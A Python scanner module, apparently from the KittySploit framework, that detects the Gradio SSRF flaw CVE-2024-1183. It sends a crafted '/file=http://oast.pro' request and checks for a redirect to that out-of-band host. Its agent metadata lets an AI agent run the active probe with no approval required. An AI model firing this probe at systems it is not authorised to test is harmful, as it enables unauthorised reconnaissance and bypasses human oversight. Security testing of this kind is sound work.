Gradio - Server Side Request Forgery Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attac."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Gradio - Server Side Request Forgery Detection',
        'description': "An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2024', 'ssrf', 'oast', 'gradio', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4',
            'https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c',
        ],
        'cve': 'CVE-2024-1183',
    }

    def run(self):
        path = '/file=http://oast.pro'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_regexes = ('(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$',)
        if any(re.search(rx, headers) for rx in header_regexes):
            self.set_info(severity='medium', reason='Gradio - Server Side Request Forgery detected', path=path)
            return True
        return False